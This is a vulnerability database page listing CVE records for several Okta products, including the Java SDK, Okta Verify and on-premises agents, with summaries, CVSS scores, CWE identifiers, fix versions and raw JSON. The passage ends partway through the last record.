Search criteria ⓘ Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.

Full-Text Search

Vendor

Product

Assigner

Sources

Sort by

Order

Apply ordering (override relevance)

CVE-2025-67505 (GCVE-0-2025-67505)

Vulnerability from nvd – Published: 2025-12-10 22:19 – Updated: 2025-12-11 15:38

Title

Race condition in the Okta Java SDK

Summary

Okta Java Management SDK facilitates interactions with the Okta management API. In versions 11.0.0 through 20.0.0, race conditions may arise from concurrent requests using the ApiClient class. This could cause a status code or response header from one request’s response to influence another request’s response. This issue is fixed in version 20.0.1.

Severity

8.4 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/okta/okta-sdk-java/security/ad…	x_refsource_CONFIRM
https://github.com/okta/okta-sdk-java/commit/abf4…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
okta	okta-sdk-java	Affected: >= 11.0.0, < 20.0.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-67505",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-11T15:37:59.171457Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-12-11T15:38:07.664Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "okta-sdk-java",
          "vendor": "okta",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 11.0.0, \u003c 20.0.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Java Management SDK facilitates interactions with the Okta management API. In versions 11.0.0 through 20.0.0, race conditions may arise from concurrent requests using the ApiClient class. This could cause a status code or response header from one request\u2019s response to influence another request\u2019s response. This issue is fixed in version 20.0.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-362",
              "description": "CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-12-10T22:19:20.694Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/okta/okta-sdk-java/security/advisories/GHSA-j5gq-897m-2rff",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/okta/okta-sdk-java/security/advisories/GHSA-j5gq-897m-2rff"
        },
        {
          "name": "https://github.com/okta/okta-sdk-java/commit/abf4f128a0441f90cb7efcdcf4bde1aef8703243",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/okta/okta-sdk-java/commit/abf4f128a0441f90cb7efcdcf4bde1aef8703243"
        }
      ],
      "source": {
        "advisory": "GHSA-j5gq-897m-2rff",
        "discovery": "UNKNOWN"
      },
      "title": "Race condition in the Okta Java SDK"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-67505",
    "datePublished": "2025-12-10T22:19:20.694Z",
    "dateReserved": "2025-12-08T21:36:28.779Z",
    "dateUpdated": "2025-12-11T15:38:07.664Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-66033 (GCVE-0-2025-66033)

Vulnerability from nvd – Published: 2025-12-10 21:46 – Updated: 2025-12-11 15:40

Title

Improper Memory Cleanup in the Okta Java SDK

Summary

Okta Java Management SDK facilitates interactions with the Okta management API. In versions 21.0.0 through 24.0.0, specific multithreaded implementations may encounter memory issues as threads are not properly cleaned up after requests are completed. Over time, this can degrade performance and availability in long-running applications and may result in a denial-of-service condition under sustained load. In addition to using the affected versions, users may be at risk if they are implementing a long-running application using the ApiClient in a multi-threaded manner. This issue is fixed in version 24.0.1.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-401 - Missing Release of Memory after Effective Lifetime

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/okta/okta-sdk-java/security/ad…	x_refsource_CONFIRM
https://github.com/okta/okta-sdk-java/commit/1daa…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
okta	okta-sdk-java	Affected: >= 21.0.0, < 24.0.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-66033",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-11T15:40:05.587445Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-12-11T15:40:16.482Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "okta-sdk-java",
          "vendor": "okta",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 21.0.0, \u003c 24.0.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Java Management SDK facilitates interactions with the Okta management API. In versions 21.0.0 through 24.0.0, specific multithreaded implementations may encounter memory issues as threads are not properly cleaned up after requests are completed. Over time, this can degrade performance and availability in long-running applications and may result in a denial-of-service condition under sustained load. In addition to using the affected versions, users may be at risk if they are implementing a long-running application using the ApiClient in a multi-threaded manner. This issue is fixed in version 24.0.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-401",
              "description": "CWE-401: Missing Release of Memory after Effective Lifetime",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-12-10T22:16:50.294Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/okta/okta-sdk-java/security/advisories/GHSA-qhr6-6cgv-6638",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/okta/okta-sdk-java/security/advisories/GHSA-qhr6-6cgv-6638"
        },
        {
          "name": "https://github.com/okta/okta-sdk-java/commit/1daa9229a70fc38fb252aeaa637f82d0b0729b3f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/okta/okta-sdk-java/commit/1daa9229a70fc38fb252aeaa637f82d0b0729b3f"
        }
      ],
      "source": {
        "advisory": "GHSA-qhr6-6cgv-6638",
        "discovery": "UNKNOWN"
      },
      "title": "Improper Memory Cleanup in the Okta Java SDK"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-66033",
    "datePublished": "2025-12-10T21:46:13.102Z",
    "dateReserved": "2025-11-21T01:08:02.615Z",
    "dateUpdated": "2025-12-11T15:40:16.482Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-7371 (GCVE-0-2025-7371)

Vulnerability from nvd – Published: 2025-07-22 15:49 – Updated: 2025-07-22 19:21

Summary

Okta On-Premises Provisioning (OPP) agents log certain user data during administrator-initiated password resets. This vulnerability allows an attacker with access to the local servers running OPP agents to retrieve user personal information and temporary passwords created during password reset. You are affected by this vulnerability if the following preconditions are met: Local server running OPP agent with versions >=2.2.1 and <= 2.3.0, and User account has had an administrator-initiated password reset while using the affected versions.

Severity

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-532 - Insertion of Sensitive Information into Log File

Assigner

Okta

References

1 reference

URL	Tags
https://help.okta.com/oie/en-us/content/topics/se…	patch

Impacted products

1 product

Vendor	Product	Version
Okta	Okta On-Premises Provisioning Agent	Affected: 2.2.1 , < 2.3.1 (semver)

Date Public

2025-07-22 15:45

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-7371",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-07-22T19:20:52.253359Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-07-22T19:21:01.131Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta On-Premises Provisioning Agent",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "2.3.1",
              "status": "affected",
              "version": "2.2.1",
              "versionType": "semver"
            }
          ]
        }
      ],
      "datePublic": "2025-07-22T15:45:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta On-Premises Provisioning (OPP) agents log certain user data during administrator-initiated password resets. This vulnerability allows an attacker with access to the local servers running OPP agents to retrieve user personal information and temporary passwords created during password reset. You are affected by this vulnerability if the following preconditions are met: Local server running OPP agent with versions \u003e=2.2.1 and \u003c= 2.3.0, and User account has had an administrator-initiated password reset while using the affected versions."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-532",
              "description": "CWE-532 Insertion of Sensitive Information into Log File",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-07-22T15:54:09.005Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://help.okta.com/oie/en-us/content/topics/settings/version_histories/ver_history_opp_agent.htm"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "Upgrade the OPP agent to version 2.3.1 or higher."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2025-7371",
    "datePublished": "2025-07-22T15:49:06.579Z",
    "dateReserved": "2025-07-08T21:45:15.341Z",
    "dateUpdated": "2025-07-22T19:21:01.131Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-9875 (GCVE-0-2024-9875)

Vulnerability from nvd – Published: 2024-11-20 22:23 – Updated: 2024-11-22 15:25

Summary

Okta Privileged Access server agent (SFTD) versions 1.82.0 to 1.84.0 are affected by a privilege escalation vulnerability when the sudo command bundles feature is enabled. To remediate this vulnerability, upgrade the Okta Privileged Access server agent (SFTD) to version 1.87.1 or greater.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-20 - Improper Input Validation

Assigner

Okta

References

1 reference

URL	Tags
https://help.okta.com/asa/en-us/content/topics/re…

Impacted products

2 products

Vendor	Product	Version
Okta	Okta Privileged Access Server Agent (SFTD)	Affected: 1.82.0 , < 1.84.0 (semver)
okta	privileged_access_server_agent_sftd	Affected: 1.82.0 , < 1.84.0 (semver) cpe:2.3:a:okta:privileged_access_server_agent_sftd::::::::

Date Public

2024-11-20 22:15

Credits

Okta would like to thank Anvil Secure for discovering this vulnerability.

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:okta:privileged_access_server_agent_sftd:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unaffected",
            "product": "privileged_access_server_agent_sftd",
            "vendor": "okta",
            "versions": [
              {
                "lessThan": "1.84.0",
                "status": "affected",
                "version": "1.82.0",
                "versionType": "semver"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-9875",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-22T15:23:16.211195Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-22T15:25:43.803Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Privileged Access Server Agent (SFTD)",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "1.84.0",
              "status": "affected",
              "version": "1.82.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Okta would like to thank Anvil Secure for discovering this vulnerability."
        }
      ],
      "datePublic": "2024-11-20T22:15:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Okta Privileged Access server agent (SFTD) versions 1.82.0 to 1.84.0 are affected by a privilege escalation vulnerability when the sudo command bundles feature is enabled. To remediate this vulnerability, upgrade the Okta Privileged Access server agent (SFTD) to version 1.87.1 or greater."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20 Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-11-20T22:38:32.486Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "url": "https://help.okta.com/asa/en-us/content/topics/releasenotes/advanced-server-access-release-notes.htm"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "To remediate this vulnerability, upgrade the Okta Privileged Access server agent (SFTD) to version 1.87.1 or greater."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-9875",
    "datePublished": "2024-11-20T22:23:15.230Z",
    "dateReserved": "2024-10-11T16:36:50.988Z",
    "dateUpdated": "2024-11-22T15:25:43.803Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-9191 (GCVE-0-2024-9191)

Vulnerability from nvd – Published: 2024-11-01 21:21 – Updated: 2024-11-05 15:23

Summary

The Okta Device Access features, provided by the Okta Verify agent for Windows, provides access to the OktaDeviceAccessPipe, which enables attackers in a compromised device to retrieve passwords associated with Desktop MFA passwordless logins. The vulnerability was discovered via routine penetration testing. Note: A precondition of this vulnerability is that the user must be using the Okta Device Access passwordless feature. Okta Device Access users not using passwordless are not affected, and customers only using Okta Verify on platforms other than Windows, or only using FastPass are not affected.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-276 - Incorrect Default Permissions

Assigner

Okta

References

2 references

URL	Tags
https://trust.okta.com/security-advisories/	vendor-advisory
https://help.okta.com/oie/en-us/content/topics/re…

Impacted products

2 products

Vendor	Product	Version
Okta	Okta Verify for Windows	Affected: 5.0.2 , < 5.3.3 (semver)
okta	verify	Affected: 5.0.2 , < 5.3.3 (semver) cpe:2.3:a:okta:verify::::::::

Date Public

2024-11-01 20:15

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:okta:verify:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "verify",
            "vendor": "okta",
            "versions": [
              {
                "lessThan": "5.3.3",
                "status": "affected",
                "version": "5.0.2",
                "versionType": "semver"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-9191",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-05T15:22:10.829745Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-05T15:23:21.631Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Verify for Windows",
          "vendor": "Okta",
          "versions": [
            {
              "lessThan": "5.3.3",
              "status": "affected",
              "version": "5.0.2",
              "versionType": "semver"
            }
          ]
        }
      ],
      "datePublic": "2024-11-01T20:15:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "The Okta Device Access features, provided by the Okta Verify agent for Windows, provides access to the OktaDeviceAccessPipe, which enables attackers in a compromised device to retrieve passwords associated with Desktop MFA passwordless logins. The vulnerability was discovered via routine penetration testing.\n\nNote: A precondition of this vulnerability is that the user must be using the Okta Device Access passwordless feature. Okta Device Access users not using passwordless are not affected, and customers only using Okta Verify on platforms other than Windows, or only using FastPass are not affected."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "CWE-276 Incorrect Default Permissions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-11-01T21:21:11.040Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://trust.okta.com/security-advisories/"
        },
        {
          "url": "https://help.okta.com/oie/en-us/content/topics/releasenotes/oie-ov-release-notes.htm#panel4"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "The vulnerability is present in Okta Verify versions 5.0.2 to 5.3.2 and resolved in Okta Verify for Windows version 5.3.3. To remediate this vulnerability, upgrade Okta Verify for Windows to version 5.3.3 or greater."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-9191",
    "datePublished": "2024-11-01T21:21:11.040Z",
    "dateReserved": "2024-09-25T20:44:58.116Z",
    "dateUpdated": "2024-11-05T15:23:21.631Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-10327 (GCVE-0-2024-10327)

Vulnerability from nvd – Published: 2024-10-24 20:17 – Updated: 2024-10-25 15:22

Summary

A vulnerability in Okta Verify for iOS versions 9.25.1 (beta) and 9.27.0 (including beta) allows push notification responses through the iOS ContextExtension feature allowing the authentication to proceed regardless of the user’s selection. When a user long-presses the notification banner and selects an option, both options allow the authentication to succeed. The ContextExtension feature is one of several push mechanisms available when using Okta Verify Push on iOS devices. The vulnerable flows include: * When a user is presented with a notification on a locked screen, the user presses on the notification directly and selects their reply without unlocking the device; * When a user is presented with a notification on the home screen and drags the notification down and selects their reply; * When an Apple Watch is used to reply directly to a notification. A pre-condition for this vulnerability is that the user must have enrolled in Okta Verify while the Okta customer was using Okta Classic. This applies irrespective of whether the organization has since upgraded to Okta Identity Engine.

Severity

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-287 - Improper Authentication

Assigner

Okta

References

2 references

URL	Tags
https://trust.okta.com/security-advisories/okta-v…	vendor-advisory
https://help.okta.com/en-us/content/topics/releas…

Impacted products

2 products

Vendor	Product	Version
Okta	Okta Verify for iOS	Affected: 9.25.1 (semver) Affected: 9.27.0 (semver)
okta	verify	Affected: 9.25.1 Affected: 9.27.0 cpe:2.3:a:okta:verify::::::::

Date Public

2024-10-24 20:15

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:okta:verify:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "verify",
            "vendor": "okta",
            "versions": [
              {
                "status": "affected",
                "version": "9.25.1"
              },
              {
                "status": "affected",
                "version": "9.27.0"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-10327",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-25T15:21:49.116020Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-25T15:22:54.766Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Okta Verify for iOS",
          "vendor": "Okta",
          "versions": [
            {
              "status": "affected",
              "version": "9.25.1",
              "versionType": "semver"
            },
            {
              "status": "affected",
              "version": "9.27.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "datePublic": "2024-10-24T20:15:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability in Okta Verify for iOS versions 9.25.1 (beta) and 9.27.0 (including beta) allows push notification responses through the iOS ContextExtension feature allowing the authentication to proceed regardless of the user\u2019s selection. When a user long-presses the notification banner and selects an option, both options allow the authentication to succeed. \nThe ContextExtension feature is one of several push mechanisms available when using Okta Verify Push on iOS devices. The vulnerable flows include: \n* When a user is presented with a notification on a locked screen, the user presses on the notification directly and selects their reply without unlocking the device; \n* When a user is presented with a notification on the home screen and drags the notification down and selects their reply; \n* When an Apple Watch is used to reply directly to a notification. \n\n A pre-condition for this vulnerability is that the user must have enrolled in Okta Verify while the Okta customer was using Okta Classic. This applies irrespective of whether the organization has since upgraded to Okta Identity Engine."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-287",
              "description": "CWE-287 Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-24T20:20:37.434Z",
        "orgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
        "shortName": "Okta"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://trust.okta.com/security-advisories/okta-verify-for-ios-cve-2024-10327/"
        },
        {
          "url": "https://help.okta.com/en-us/content/topics/releasenotes/okta-verify-release-notes.htm#panel2"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "The vulnerability is resolved in Okta Verify for iOS version 9.27.2. To remediate this vulnerability, upgrade Okta Verify for iOS to version 9.27.2 or greater."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "59b22baa-87b2-4371-8e4a-e080df12f74a",
    "assignerShortName": "Okta",
    "cveId": "CVE-2024-10327",
    "datePublished": "2024-10-24T20:17:59.360Z",
    "dateReserved": "2024-10-23T23:57:14.831Z",
    "dateUpdated": "2024-10-25T15:22:54.766Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2024-7061 (GCVE-0-2024-7061)

Vulnerability from nvd – Published: 2024-08-07 16:35 – Updated: 2024-08-09 13:44

Summary

Okta Verify for Windows is vulnerable to privilege escalation through DLL hijacking. The vulnerability is fixed in Okta Verify for Windows version 5.0.2. To remediate this vulnerability, upgrade to 5.0.2 or greater.

Severity

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory
CWE-427 - Uncontrolled Search Path or Element

Assigner

Okta

References

2 references

URL	Tags
https://trust.okta.com/security-advisories/okta-v…	vendor-advisory
https://help.okta.com/oie/en-us/content/topics/re…

Impacted products

1 product

Vendor	Product	Version
Okta	Okta Verify for Windows	Affected: 5.0.1 , < 5.0.1 (semver) Unaffected: 5.0.2 (semver)

Date Public

2024-08-07 17:00

Credits

Okta would like to thank Ryan Wincey of Securifera, Inc. for discovering this vulnerability.

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-7061",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-09T13:44:41.455152Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-09T13:44:51.144Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
